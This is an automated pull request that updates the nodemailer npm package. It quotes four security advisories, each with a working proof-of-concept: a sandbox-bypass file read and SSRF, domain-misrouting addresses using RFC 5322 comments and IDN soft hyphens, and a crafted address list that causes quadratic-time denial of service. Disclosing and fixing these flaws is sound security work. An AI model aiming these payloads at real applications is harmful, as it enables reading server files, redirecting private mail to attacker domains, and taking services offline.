Update npm package nodemailer to v9.1.1 [SECURITY]

[hash-dependencies]

This PR contains the following updates:

Package	Change	Age	Confidence
nodemailer (source)	9.0.1 → 9.1.1

---

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

---

Nodemailer: resolveContent() on a MailMessage bypasses disableFileAccess/disableUrlAccess when called with the legacy signature

GHSA-8m3c-c648-2xjj

More information

Details

Summary

Nodemailer's disableFileAccess / disableUrlAccess options are a security sandbox that lets an application forbid untrusted message content (html/text/attachment path/href) from reading local files or making outbound HTTP(S) requests. The fix for GHSA-wqvq-jvpq-h66f (commit 5f69497) threaded these flags through the library's internal resolution paths (MailMessage.resolveAll() and _convertDataImages()), but the public plugin API MailMessage.resolveContent(...args) (lib/mailer/mail-message.js:41-43) remains a raw passthrough to shared.resolveContent().

When called with the documented legacy signature mail.resolveContent(data, key, callback), shared.resolveContent normalizes the missing options argument to an empty object (options = options || {}, lib/shared/index.js:530). The message-level flags that the MailMessage constructor already copied into mail.data (lib/mailer/mail-message.js:34-38) are silently discarded, so resolveContentValue skips both access-control guards and reaches nmfetch(url) (SSRF, lib/shared/index.js:588) or fs.createReadStream(path) (arbitrary file read, lib/shared/index.js:597).

A plugin or application code that resolves message content through the documented API (the same API the library's own _convertDataImages uses, threading the flags explicitly) thereby bypasses the sandbox an application deliberately enabled.

Details

Root cause. The MailMessage constructor stores the transporter-level sandbox flags on the message object (lib/mailer/mail-message.js:34-38):

['disableFileAccess', 'disableUrlAccess', 'normalizeHeaderKey', 'maxRecipients'].forEach(key => {
    if (key in options) {
        this.data[key] = options[key];
    }
});

The public resolver is a pure passthrough (lib/mailer/mail-message.js:41-43):

resolveContent(...args) {
    return shared.resolveContent(...args);
}

shared.resolveContent supports the legacy 3-argument signature and collapses the missing options to {} (lib/shared/index.js:524-530):

module.exports.resolveContent = (data, key, options, callback) => {
    // options is optional; support the legacy resolveContent(data, key, callback) signature
    if (!callback && typeof options === 'function') {
        callback = options;
        options = false;
    }
    options = options || {};
    ...
    resolveContentValue(data, key, options, callback);

resolveContentValue then checks options.disableUrlAccess / options.disableFileAccess (lib/shared/index.js:581 / :590), both undefined for the legacy signature, so it falls through to nmfetch (:588) or fs.createReadStream (:597).

Contrast with the fixed paths. resolveAll() (lib/mailer/mail-message.js:112-115) and _convertDataImages() (lib/mailer/index.js:437-440) both pass the message flags explicitly. The MIME streaming path (lib/mime-node/index.js:1059-1077) also honors the flags. So an application that enables the sandbox and then calls transporter.sendMail() is protected; the bypass appears only when message content is resolved through the public legacy-signature API — which is the documented plugin usage (the resolveContent JSDoc at lib/shared/index.js:510-523 states it is "useful when you want to create a plugin that needs a content value").

Affected versions. Confirmed on 9.1.0 (HEAD efd6e29c10c6e0c25c57bd2f2a71302838235a4f, the current npm latest). The gap was introduced by the GHSA-wqvq-jvpq-h66f fix and is still present; the public API has no regression coverage (test/mailer/mail-message-test.js contains no resolveContent test).

PoC

Requires: nodemailer@9.1.0, a readable local file, and any reachable HTTP endpoint (loopback suffices). Non-destructive; no network egress beyond a local listener.

'use strict';
const nodemailer = require('nodemailer');
const MailMessage = require('nodemailer/lib/mailer/mail-message');

const TARGET_FILE = '/app/src/package.json';   // any readable local file
const SSRF_URL = 'http://http-sink:8080/poc-ssrf'; // any local/internal HTTP target

const transporter = nodemailer.createTransport({
    streamTransport: true,
    disableFileAccess: true,   // sandbox explicitly enabled
    disableUrlAccess: true
});

const data = {
    from: 'a@example.com', to: 'b@example.com', subject: 'poc', text: 'hello',
    html: { path: TARGET_FILE },
    attachments: [{ filename: 'x.bin', href: SSRF_URL }]
};
const mail = new MailMessage(transporter, data);
// mail.data.disableFileAccess === true, mail.data.disableUrlAccess === true

// Documented legacy plugin signature — options argument omitted:
mail.resolveContent(mail.data, 'html', (err, value) => {
    if (err) return console.log('BLOCKED', err.code);
    console.log('FILE_READ_OK len=', value.length);          // -> 1647 (package.json)
});
mail.resolveContent(mail.data.attachments, 0, (err, body) => {
    if (err) return console.log('BLOCKED', err.code);
    console.log('URL_FETCH_OK body=', body.toString());      // -> fetched response
});

Observed output on the audit environment (Node 22, nodemailer@9.1.0):

mail.data.disableFileAccess = true | disableUrlAccess = true
[CONTROL resolveAll] err = EFILEACCESS : File access rejected for /app/src/package.json
[CONTROL html.path explicit-options] err = EFILEACCESS
[BYPASS html.path legacy] READ OK len = 1647 head = "{\n    \"name\": \"nodemailer\",\n    \"version\": \"9.1.0\",\n    \"des"
[BYPASS att[0].href legacy] FETCH OK len = 13 body = "HTTP-SINK OK\n"

The negative controls (resolveAll, and resolveContent with explicit { disableFileAccess: true }) return EFILEACCESS, proving the sandbox works on the protected paths and only the legacy-signature passthrough is bypassed. The same bypass reproduces inside a real transporter.sendMail() flow when a compile plugin calls mail.resolveContent(mail.data, 'html', cb) / mail.resolveContent(mail.data.attachments, 0, cb).

Impact

An application that enables disableFileAccess / disableUrlAccess to contain untrusted message content and that resolves content through the documented plugin API (mail.resolveContent(data, key, callback)) has its sandbox silently bypassed:

• Arbitrary local file disclosure: a message html/attachment path pointing at a server file (/etc/passwd, .env, key material) is read and returned to the caller / delivered in the message.
• Server-side request forgery: a message href pointing at an internal or loopback URL is fetched from the application host.

Reachability precondition: the sandbox flags must be enabled (default off) and the application or its plugin must invoke the documented legacy-signature API on attacker-influenced data. The default transporter.sendMail() path remains protected, so this is a defense-in-depth gap in the library's own access-control enforcement rather than a default-flow bypass. It is the same vulnerability class as the previously accepted GHSA-wqvq-jvpq-h66f (CVE-2026-82660) and GHSA-p6gq-j5cr-w38f (CVE-2026-82659), on a distinct third code path.

Severity

• CVSS Score: 5.9 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N

References

• https://github.com/nodemailer/nodemailer/security/advisories/GHSA-8m3c-c648-2xjj
• https://github.com/nodemailer/nodemailer/commit/ab7ef348b9a97b1fd70e7bfbeb56d4ea4a07946b
• https://github.com/nodemailer/nodemailer/commit/dc48ed395c4d6c79ee5c95eb6eff17bafe391474
• https://github.com/nodemailer/nodemailer/releases/tag/v9.1.1
• https://github.com/advisories/GHSA-8m3c-c648-2xjj

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Nodemailer: Recipient-domain validation bypass via RFC 5322 comment mis-parsing leads to email delivery to an attacker-controlled domain

GHSA-cc9r-2j5m-2m83

More information

Details

Summary

Nodemailer's email-address parser treats an RFC 5322 comment ( ... ) inside the domain as a point to concatenate the surrounding text, rather than as folding whitespace (CFWS) that terminates the domain. Consequently a recipient address such as user@good-corp.com(x)evil.com is parsed and delivered to good-corp.comevil.com (registrable domain comevil.com, attacker‑controlled), while a conformant RFC 5322 parser terminates the domain at the comment and reads good-corp.com.

An application that decides whether it is allowed to email a recipient by parsing/validating the recipient's domain — with a strict RFC 5322 parser (used without inspecting parse defects) or with a naive prefix/substring allow‑list — and then hands the raw address to Nodemailer for delivery, can be induced to send mail to a domain the attacker controls. This is an Interpretation Conflict (CWE‑436), the same class as CVE‑2025‑13033, reached through the RFC 5322 comment construct (the "Comments" technique in PortSwigger's Splitting the email atom research, which produced a Postfix fix).

Severity is Moderate: exploitation requires the app's domain check to disagree with Nodemailer (see Impact for exactly which parsers do and do not). Verified end‑to‑end against a real RFC 5321 SMTP server (nodemailer 9.0.6 → aiosmtpd).

Details

Root cause is in lib/addressparser/index.js.

1. The tokenizer registers the comment as an operator pair (Tokenizer.operators):

   '(': ')',            // line ~331

2. When the closing ) is immediately followed by a non‑break character (anything other than space / tab / CR / LF / , / ;), the tokenizer marks that operator token with noBreak = true:

   // Tokenizer.checkChar, lines ~398-399
   if (nextChr && ![' ', '\t', '\r', '\n', ',', ';'].includes(nextChr)) {
       this.node.noBreak = true;
   }

3. _handleAddress then glues the token that follows the comment onto the token that preceded it (dropping the comment):

   // _handleAddress, lines ~187-188
   if (prevToken && prevToken.noBreak && data[state].length) {
       data[state][data[state].length - 1] += token.value;   // <-- concatenation
   }

For the input user@good-corp.com(x)evil.com the tokens are text:"user@good-corp.com", op:"(", text:"x", op:")" (flagged noBreak), text:"evil.com". Step 3 appends evil.com onto user@good-corp.com, producing the single domain good-corp.comevil.com. The comment content (x) is discarded into the display‑name field.

RFC 5322 defines a comment as CFWS — semantically folding whitespace — and it may not appear inside a dot-atom. A comment therefore separates tokens and terminates the domain; the conformant reading of good-corp.com(x)evil.com is the domain good-corp.com (with the trailing evil.com being invalid/ignored). Nodemailer instead concatenates the two atoms across the removed comment, yielding a different, attacker‑registrable domain.

Nodemailer uses the parsed address for both the SMTP envelope (getEnvelope() → RCPT TO) and the emitted To:/From: headers, so the entire message is routed to the concatenated domain.

Related grammar defect (bonus, lower impact): nested comments are legal in RFC 5322, but the tokenizer closes the comment at the first ) (chr === this.operatorExpecting, line ~392), so a valid nested comment such as user@x.com(a(b)c) is mis‑balanced and mangled to x.comc). That particular output contains a stray ) and is rejected by a conformant MTA (501) — a bounce/robustness issue, not a misroute.

Suggested fix: treat a comment as folding whitespace that terminates the current token — i.e. do not propagate noBreak across a comment‑closing ) (restrict the noBreak optimization to quoted‑string closes), and support nested comments per RFC 5322. Equivalently, never emit a domain formed by concatenating two atoms that were separated only by a comment.

PoC

Environment: Node.js ≥ 18 and the published nodemailer@9.0.6. No special transport configuration is required; the discrepancy is in address parsing.

poc-comment.js:

'use strict';
const net = require('net');
const nodemailer = require('nodemailer'); // 9.0.6

const TRUSTED   = 'good-corp.com';
const RECIPIENT = 'user@good-corp.com(x)evil.com'; // RFC 5322 comment (x) between two domains

// tiny SMTP sink that prints the literal RCPT TO nodemailer transmits
const server = net.createServer(sock => {
  let buf = ''; sock.write('220 sink\r\n');
  sock.on('data', d => { buf += d; let i;
    while ((i = buf.indexOf('\r\n')) >= 0) { const line = buf.slice(0, i); buf = buf.slice(i + 2);
      const u = line.toUpperCase();
      if (u.startsWith('EHLO')) sock.write('250-sink\r\n250 8BITMIME\r\n');
      else if (u.startsWith('RCPT')) { console.log('nodemailer transmits :', line); sock.write('250 ok\r\n'); }
      else if (u.startsWith('DATA')) sock.write('354 go\r\n');
      else if (line === '.') sock.write('250 ok\r\n');
      else if (u.startsWith('QUIT')) { sock.write('221 bye\r\n'); sock.end(); }
      else sock.write('250 ok\r\n'); } });
});
server.listen(0, '127.0.0.1', async () => {
  const t = nodemailer.createTransport({ host: '127.0.0.1', port: server.address().port, secure: false });
  await t.sendMail({ from: 'app@good-corp.com', to: RECIPIENT, subject: 'hi', text: 'x' });
  t.close(); server.close();
});

Run:

npm init -y && npm install nodemailer@9.0.6
node poc-comment.js

Actual output (nodemailer 9.0.6):

nodemailer transmits : RCPT TO:<user@good-corp.comevil.com>

The application asked to mail user@good-corp.com(x)evil.com; Nodemailer delivers to good-corp.comevil.com — registrable domain comevil.com, which an attacker can register.

Verified against a real RFC 5321 server (containerized lab included with this report — docker compose up --build, case R8_comment_glue, receiver = aiosmtpd):

wire RCPT TO                     : RCPT TO:<user@good-corp.comevil.com>
real server                      : ACCEPTED (250)
recipient parsed by real server  : user@good-corp.comevil.com   (domain good-corp.comevil.com)
delivered To header              : x <user@good-corp.comevil.com>

Which parser sees what (the crux of exploitability):

Parser used by the application to gate/route	Domain it reads from user@good-corp.com(x)evil.com	Deceived?
Python email.policy.default (strict RFC 5322)	good-corp.com (flags InvalidHeaderDefect)	Yes, if defects are not checked
Naive prefix / substring allow‑list (startsWith/includes('@good-corp.com'))	good-corp.com	Yes
Nodemailer's own addressparser	good-corp.comevil.com	No
Python email.utils.getaddresses	good-corp.comevil.com	No
WHATWG url.domainToASCII	good-corp.com(x)evil.com	No

Impact

• Who is impacted: applications that make a security or routing decision on the recipient domain using a parser that terminates the domain at the comment, while relying on Nodemailer for delivery — specifically those that validate with a strict RFC 5322 parser without inspecting parse defects, or with a prefix/substring/allow‑list check (e.g. "only send to @good-corp.com", employee‑only flows, "same‑tenant" routing). Applications that validate with Nodemailer's own addressparser, email.utils.getaddresses, or url.domainToASCII are not affected, which is why this is rated below the IDN/Punycode issue.

Patched in 9.1.0

Fixed in 902b63e.

Not propagating noBreak across the closing ) on its own breaks valid addresses, because CFWS is legal on either side of the @: user@(x)good-corp.com and user(x)@good-corp.com both come out mangled. A comment now joins what it separates only when one side carries the @, so those keep resolving while user@good-corp.com(x)evil.com terminates at good-corp.com.

Quoted-string and angle-address joining are unchanged. Nested comments are still not modelled, but the misroute is gone: user@x.com(a(b)c) now yields user@x.com.

Severity

• CVSS Score: 6.5 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N

References

• https://github.com/nodemailer/nodemailer/security/advisories/GHSA-cc9r-2j5m-2m83
• https://github.com/nodemailer/nodemailer/pull/1848
• https://github.com/nodemailer/nodemailer/commit/902b63e935435c30f4025901c0902dce64cd8880
• https://github.com/nodemailer/nodemailer/releases/tag/v9.1.0
• https://github.com/advisories/GHSA-cc9r-2j5m-2m83

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Nodemailer: Quadratic (O(n²)) time complexity in addressparser allows remote denial of service via a crafted address list

GHSA-2x7j-588g-ccc2

More information

Details

Summary

Nodemailer's address parser (lib/addressparser/index.js) parses a list of comma‑separated addresses in quadratic time — O(n²) in the number of addresses. A single crafted address string (e.g. a To, Cc, Bcc, From, or Reply‑To value, or any value passed to the exported addressparser) therefore consumes CPU proportional to the square of its length and blocks Node's single‑threaded event loop for the entire duration, denying service to every other request in the process.

This requires no special application configuration and no cooperating receiver — it is entirely inside the parser and triggers on the library's default code path. A ~1.5 MB address value freezes the process for ~25–30 seconds of 100% CPU; the cost grows with the square of the input, so a few‑MB value stalls the server for minutes. It is a distinct issue from the recursion DoS fixed as CVE‑2025‑14874 (that path is guarded by a nesting‑depth cap; this one is a flat, comma‑separated list with no such limit).

Details

addressparser tokenizes the input, splits it into per‑address token groups, and then accumulates the parsed results in a loop (lib/addressparser/index.js, ~lines 500–505):

addresses.forEach(addr => {
    const handled = _handleAddress(addr, depth);
    if (handled.length) {
        parsedAddresses = parsedAddresses.concat(handled);   // <-- line ~503
    }
});

Array.prototype.concat builds and returns a new array containing a copy of every element accumulated so far. Reassigning parsedAddresses = parsedAddresses.concat(handled) on each of the n iterations copies 1 + 2 + 3 + … + n elements in total, i.e. O(n²) work (and O(n²) transient allocations) for an input containing n addresses. Tokenization and _handleAddress themselves are linear; the quadratic blowup is entirely this accumulator.

Root‑cause proof. Replacing only that line with an in‑place append and re‑running the exact same input:

parsedAddresses = parsedAddresses.concat(handled);      ->  100000 addresses:  ~6068 ms
parsedAddresses.push.apply(parsedAddresses, handled);   ->  100000 addresses:  ~51 ms   (≈119x faster, now linear)

Measured scaling (nodemailer 9.0.6, 'a@b.com,'.repeat(n)):

addresses n	input size	parse time	ratio for 2× input
25,000	0.19 MB	~0.35 s	–
50,000	0.38 MB	~1.4 s	×4.0
100,000	0.76 MB	~6–8 s	×3.9
200,000	1.53 MB	~25–30 s	×4.1

Doubling the input quadruples the time — the signature of O(n²).

Reachability. The parser is invoked on any structured‑address header value on the normal send path (MimeNode.setHeader('To'/'Cc'/'Bcc'/'From'/'Reply-To', value) → _parseAddresses → addressparser, and getEnvelope()), so a single transport.sendMail({ to: <crafted string> }) triggers it. It is also reached directly through the exported require('nodemailer/lib/addressparser'), which many applications call to validate or display user‑supplied recipient lists. Confirmed via the public API: setHeader('To', 'a@b.com,'.repeat(80000)) + getEnvelope() blocks for ~3.9 s.

Suggested fix: accumulate in place instead of rebuilding the array each iteration, e.g. parsedAddresses.push.apply(parsedAddresses, handled); (or for (const h of handled) parsedAddresses.push(h);). Optionally cap the number of addresses / input length before parsing.

PoC

Environment: Node.js ≥ 18 and the published nodemailer@9.0.6. No transport, network, or configuration required — the cost is in parsing.

poc-dos.js:

'use strict';
const addressparser = require('nodemailer/lib/addressparser');

console.log('addresses | input size | parse time');
for (const n of [25000, 50000, 100000, 200000]) {
  const payload = 'a@b.com,'.repeat(n);        // n valid, comma-separated recipients
  const t0 = process.hrtime.bigint();
  addressparser(payload);                       // blocks synchronously
  const ms = Number(process.hrtime.bigint() - t0) / 1e6;
  console.log(String(n).padStart(9) + ' | ' + (payload.length / 1048576).toFixed(2) + ' MB   | ' + ms.toFixed(0).padStart(7) + ' ms');
}

Run:

npm init -y && npm install nodemailer@9.0.6
node poc-dos.js

Actual output (nodemailer 9.0.6):

addresses | input size | parse time
    25000 | 0.19 MB   |     381 ms
    50000 | 0.38 MB   |    1435 ms
   100000 | 0.76 MB   |    7949 ms
   200000 | 1.53 MB   |   25154 ms

Equivalent trigger through the normal send API (freezes the event loop):

const nodemailer = require('nodemailer');
nodemailer.createTransport({ jsonTransport: true })
  .sendMail({ from: 'a@b.com', to: 'a@b.com,'.repeat(150000), subject: 'x', text: 'y' });
// ~15+ seconds of 100% CPU inside addressparser before anything is sent

Impact

• Who is impacted: any service that runs Nodemailer (or the standalone nodemailer/lib/addressparser) on an address value that can be influenced by an untrusted party — a recipient field in a "send email / invite / share" feature, a Reply‑To/From derived from user input, a contact‑import or mailing‑list parser, or any endpoint that validates addresses with addressparser. No authentication, special option, or particular receiver is needed.

Patched in 9.1.0

Three separate quadratic paths were fixed, not one:

• addressparser rebuilt its accumulator with concat() on every address (9116da9).
• The display-name merge loop directly below spliced each fragment out of the array, the same shape reached through 'a, b <c@d.com>,'.repeat(n) (same commit).
• MimeNode#_convertAddresses checked recipient uniqueness with a linear scan per address (7cc38af, refined in 34da642). This was the most severe of the three and the reported proof of concept did not reach it: 'a@b.com,'.repeat(n) is one address repeated, which dedupes to a single envelope entry. A list of distinct recipients cost O(n^2) here, taking ~35s for 100k even after addressparser was fixed.

Fixed alongside: [].concat.apply in _parseAddresses threw RangeError: Maximum call stack size exceeded past roughly 124k recipients, with no crafted input needed (83b8c48).

Parsing 200k addresses now takes ~80ms instead of ~25s, and every path scales linearly. A new maxRecipients option (default 100000) throws rather than truncating, as a backstop.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/nodemailer/nodemailer/security/advisories/GHSA-2x7j-588g-ccc2
• https://github.com/nodemailer/nodemailer/pull/1848
• https://github.com/nodemailer/nodemailer/commit/34da64282dcdc9b0581c721a27ab2fa226673150
• https://github.com/nodemailer/nodemailer/commit/7cc38af418ffa6fc7e86085195ca5ca681694b3e
• https://github.com/nodemailer/nodemailer/commit/9116da9528c6524cefaed75185602a7e85d20434
• https://github.com/nodemailer/nodemailer/releases/tag/v9.1.0
• https://github.com/advisories/GHSA-2x7j-588g-ccc2

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Nodemailer: IDN/Punycode domain allow-list bypass leads to email delivery to an attacker-controlled domain

GHSA-wmmp-3585-3rmp

More information

Details

Summary

Nodemailer resolves an international (IDN / non-ASCII) recipient domain to a different Punycode xn-- label than every UTS‑46‑conformant parser (web browsers, the WHATWG URL Standard, Node's url.domainToASCII, Python's idna). Its address normalizer (_normalizeAddress in lib/mime-node/index.js) uses the bundled raw RFC‑3492 Punycode codec with no UTS‑46 mapping/normalization, so a domain that a standards‑compliant validator maps to a trusted domain is delivered by Nodemailer to a different, attacker‑registrable domain.

An application that applies a domain allow‑list / same‑domain check to a recipient using a normal IDN‑aware parser (or that shows the normalized recipient to a user for confirmation) and then relies on Nodemailer to deliver to that domain can be induced to send email to an unintended external domain. This is the same weakness class as CVE‑2025‑13033 (Interpretation Conflict, CWE‑436) but reached through IDN/Punycode rather than quoted local‑parts, and it is not addressed by the 7.0.7 fix.

Because the mismatch can be triggered with an invisible character (U+00AD SOFT HYPHEN) that UTS‑46 folds away to the exact trusted domain string, no visible look‑alike/homograph is required.

Details

lib/mime-node/index.js → _normalizeAddress(address) (around lines 1307–1346) splits the address at the last @ and normalizes the domain like this:

// lib/mime-node/index.js
try {
    if (/[\x80-�]/.test(user)) {
        encodedDomain = punycode.toUnicode(domain.toLowerCase());   // line ~1338
    } else {
        encodedDomain = punycode.toASCII(domain.toLowerCase());     // line ~1340
    }
} catch (_err) {
    // keep domain as supplied
}
return `${this._normalizeLocalPart(user)}@${encodedDomain}`;         // line ~1346

punycode here is the project’s bundled codec (lib/punycode/), which is a pure RFC 3492 (Punycode) implementation. The only normalization applied to the domain is .toLowerCase(). It performs none of the UTS‑46 “IDNA2008 + compatibility processing” steps that browsers and DNS‑facing resolvers apply before Punycode encoding, specifically:

• removing Ignored code points such as U+00AD SOFT HYPHEN,
• Mapping full‑width / compatibility characters to their canonical ASCII forms,
• Unicode NFC normalization,
• validity checks.

As a result, for any domain containing a UTS‑46‑mapped or ‑ignored character, Nodemailer’s punycode.toASCII(...) produces a different A‑label than url.domainToASCII(...) (Node ≥ 7 / WHATWG), new URL('http://'+domain), browsers, and Python’s idna (uts46=True). Nodemailer then uses its A‑label as:

• the SMTP envelope recipient written to the wire as RCPT TO:<local@xn--…> (getEnvelope() → lib/smtp-connection/index.js _setEnvelope), and
• the address emitted in the To: / From: headers (_convertAddresses).

So the domain a standards‑compliant validator computes and the domain Nodemailer actually delivers to disagree, on a syntactically valid, validator‑accepted address. Concrete divergences (verified on 9.0.6):

recipient (raw)	UTS‑46 parser (url.domainToASCII)	Nodemailer delivers to
victim@compa{U+00AD}ny.com (invisible soft hyphen)	company.com	xn--company-pka.com
victim@ｃｏｍｐａｎｙ.com (full‑width)	company.com	xn--mi7cd4afch9d.com
user@exámple.com (NFD a+U+0301)	xn--exmple-qta.com	xn--example-vge.com

This is the “Punycode / IDN parser discrepancy” technique documented in PortSwigger’s Splitting the email atom research (which produced e.g. Joomla CVE‑2024‑21725 and fixes in the PHP idna_convert library). The fix for CVE‑2025‑13033 (nodemailer 7.0.7) hardened the quoted‑local‑part path only; this IDN path is independent and still present in 9.0.6 (latest) and, given the long‑standing use of the bundled RFC‑3492 codec, earlier releases.

Suggested remediation: perform UTS‑46 processing before/at domain encoding so Nodemailer’s resolution matches browsers, validators, and DNS — e.g. use the runtime’s url.domainToASCII() (available since Node 7) instead of the raw punycode.toASCII, and decode with the matching UTS‑46 domainToUnicode. At minimum, reject a domain whose value changes under UTS‑46 mapping (i.e. punycode.toASCII(d) ≠ url.domainToASCII(d)).

PoC

Environment: Node.js ≥ 18, the published nodemailer@9.0.6. No special configuration; the discrepancy is in domain normalization itself.

poc-idn.js:

'use strict';
const net = require('net');
const url = require('url');
const nodemailer = require('nodemailer'); // 9.0.6

const TRUSTED   = 'company.com';                        // the only domain the app will mail
const RECIPIENT = 'victim@compa\u00ADny.com';           // attacker input: invisible U+00AD inside "company"

// The app's domain allow-list check, done the standard (UTS-46 / browser / WHATWG) way:
const seen = url.domainToASCII(RECIPIENT.split('@').pop());
console.log('validator (url.domainToASCII) sees:', JSON.stringify(seen),
            seen === TRUSTED ? '=> ALLOWED (equals trusted domain)' : '');

// A tiny SMTP sink that prints the literal RCPT TO Nodemailer transmits:
const server = net.createServer(sock => {
  let buf = ''; sock.write('220 sink\r\n');
  sock.on('data', d => { buf += d; let i;
    while ((i = buf.indexOf('\r\n')) >= 0) { const line = buf.slice(0, i); buf = buf.slice(i + 2);
      const u = line.toUpperCase();
      if (u.startsWith('EHLO')) sock.write('250-sink\r\n250 8BITMIME\r\n');
      else if (u.startsWith('RCPT')) { console.log('nodemailer transmits             :', line); sock.write('250 ok\r\n'); }
      else if (u.startsWith('DATA')) sock.write('354 go\r\n');
      else if (line === '.') sock.write('250 ok\r\n');
      else if (u.startsWith('QUIT')) { sock.write('221 bye\r\n'); sock.end(); }
      else sock.write('250 ok\r\n'); } });
});
server.listen(0, '127.0.0.1', async () => {
  const t = nodemailer.createTransport({ host: '127.0.0.1', port: server.address().port, secure: false });
  await t.sendMail({ from: 'app@company.com', to: RECIPIENT, subject: 'reset your password', text: 'secret link' });
  t.close(); server.close();
});

Run:

npm init -y && npm install nodemailer@9.0.6
node poc-idn.js

Actual output (Nodemailer 9.0.6):

validator (url.domainToASCII) sees: "company.com" => ALLOWED (equals trusted domain)
nodemailer transmits             : RCPT TO:<victim@xn--company-pka.com>

The application’s domain check approves company.com, but the message is sent to xn--company-pka.com — a different domain an attacker can register — carrying the To: header <victim@xn--company-pka.com> as well.

A containerized version that proves the same result against a real RFC 5321 SMTP server (aiosmtpd) is included alongside this report (docker compose up --build, cases R6/IDN); the receiving server accepts RCPT TO:<victim@xn--company-pka.com> and reports the recipient domain as xn--company-pka.com.

Impact

Any application that uses Nodemailer to send mail to a recipient whose domain is subjected to a security or trust decision made with a different (UTS‑46‑conformant) parser, and then trusts Nodemailer to deliver to that domain. This includes:

• recipient allow‑list / block‑list / “same corporate domain” checks implemented with new URL(), url.domainToASCII, a browser‑side check, or an IDN library;
• flows that display or log the normalized recipient domain for human confirmation (the shown company.com differs from the delivered xn--company-pka.com);
• any domain‑gated feature (employee‑only registration, “send only to our tenant”, notification routing).

Patched in 9.1.0

Domain encoding now applies UTS-46 (259c32d), so victim@compa­ny.com resolves to company.com, matching url.domainToASCII and browsers.

One caveat on the suggested remediation, hardened in b212ac4: url.domainToASCII is a WHATWG host parser, not a pure UTS-46 mapper. It terminates the host at /, \\, ? and # and percent-decodes. Used unguarded it introduces a worse version of the same weakness, since user@attacker.example/mail.corp.example encodes to the deliverable user@attacker.example where the bundled Punycode codec left it intact and unroutable. Those characters are now kept away from the mapper.

On severity, "attacker-registrable" is doing significant work in the report: xn--company-pka.com decodes to a label containing U+00AD and xn--mi7cd4afch9d.com to full-width Latin, neither of which Verisign's IDN tables permit for a .com registration. The misdelivery and the confirmation-UI mismatch stand regardless, which is why this is rated level with the comment issue rather than above it.

Severity

• CVSS Score: 6.5 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N

References

• https://github.com/nodemailer/nodemailer/security/advisories/GHSA-wmmp-3585-3rmp
• https://github.com/nodemailer/nodemailer/pull/1848
• https://github.com/nodemailer/nodemailer/commit/259c32d7d266301e3377a212776c3fff993c0148
• https://github.com/nodemailer/nodemailer/commit/b212ac4e27bce8182478044fcb8d1642ccdad46e
• https://github.com/nodemailer/nodemailer/releases/tag/v9.1.0
• https://github.com/advisories/GHSA-wmmp-3585-3rmp

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

nodemailer/nodemailer (nodemailer)

v9.1.1

Compare Source

Bug Fixes

• mailer: apply the message access policy in resolveContent (dc48ed3)
• mailer: keep message data from reopening the access sandbox (ab7ef34)
• mime-node: inherit the access policy from the tree a node hangs in (262d550)

v9.1.0

Compare Source

Features

• mailer: cap recipients per message with maxRecipients (7279ac8)

Bug Fixes

• addressparser: handle address lists in linear time (9116da9)
• addressparser: terminate the domain at an RFC 5322 comment (902b63e)
• mime-node: apply UTS-46 mapping when encoding a domain (259c32d)
• mime-node: dedupe envelope recipients in linear time (7cc38af)
• mime-node: flatten parsed addresses without concat.apply (83b8c48)
• mime-node: keep the recipient dedupe linear across address headers (34da642)
• mime-node: keep URL delimiters away from the domain mapper (b212ac4)

v9.0.6

Compare Source

Bug Fixes

• addressparser: recover the addr-spec from an angle-addr holding whitespace (e989a22)
• harden copies of user supplied keys and URL fetching (2f667f4)

v9.0.5

Compare Source

Bug Fixes

• ci: retrigger the workflows dropped during the Actions outage (85d16c1)
• mailer: escape specials in List-* header comments (#​1842) (75913bb)
• mime-funcs: star the continuation key of a restarted parameter line (36bcf1a)
• mime-node: keep control chars out of header values and msg-id headers (15cf6d1)
• mime: encode DEL in header parameters and List-* comments (cf69430)
• mime: keep control chars out of the remaining header positions (5ed9d26)
• mime: normalize an address parsed out of a string as well (63685f7)
• mime: normalize an address so header and envelope agree (a9343b4)
• mime: stop a header key callback and the dkim tags from injecting (b7d772e)

v9.0.4

Compare Source

Bug Fixes

• mime-funcs: do not let an unpaired surrogate consume the next character (9797f7f)
• mime-funcs: keep any surrogate pair intact when chunking base64 mime words (#​1838) (5bd3a65)
• mime-funcs: percent encode unpaired surrogates in header parameter values (78f4aa2)
• mime-node: escape backslash and quote in the Content-Type name parameter (#​1837) (adcfc4f)
• mime: encode HT/CR/LF in header parameter values instead of quoting them (#​1840) (5bc9cab)

v9.0.3

Compare Source

Bug Fixes

• smtp-connection: harden STARTTLS upgrade and secure socket handling (#​1835) (07d8253)

v9.0.2

Compare Source

Bug Fixes

• addressparser: keep operator chars inside an address-literal as text (#​1829) (9ba1064)
• harden smtp-connection low-severity issues (22ddcea)
• harden smtp-connection response parsing and socket lifecycle (68860b9)
• prevent SES transport callback double-invocation and hang on sync errors (#​1831) (9517bc5)
• reject CRLF in HTTP proxy CONNECT destination to prevent request injection (6347b47)

---

Configuration

📅 Schedule: (UTC)

• Branch creation
  • At any time (no schedule defined)
• Automerge
  • "before 4am every weekday,every weekend"

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR has been generated by Mend Renovate CLI.

[hash-dependencies]

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

• any of the package files in this branch needs updating, or
• the branch becomes conflicted, or
• you click the rebase/retry checkbox if found above, or
• you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: yarn.lock

➤ YN0000: · Yarn 4.16.0
➤ YN0000: ┌ Project validation
➤ YN0057: │ @apps/plugin-browser: 'nohoist' is deprecated, please use 'installConfig.hoistingLimits' instead
➤ YN0000: └ Completed
➤ YN0000: ┌ Resolution step
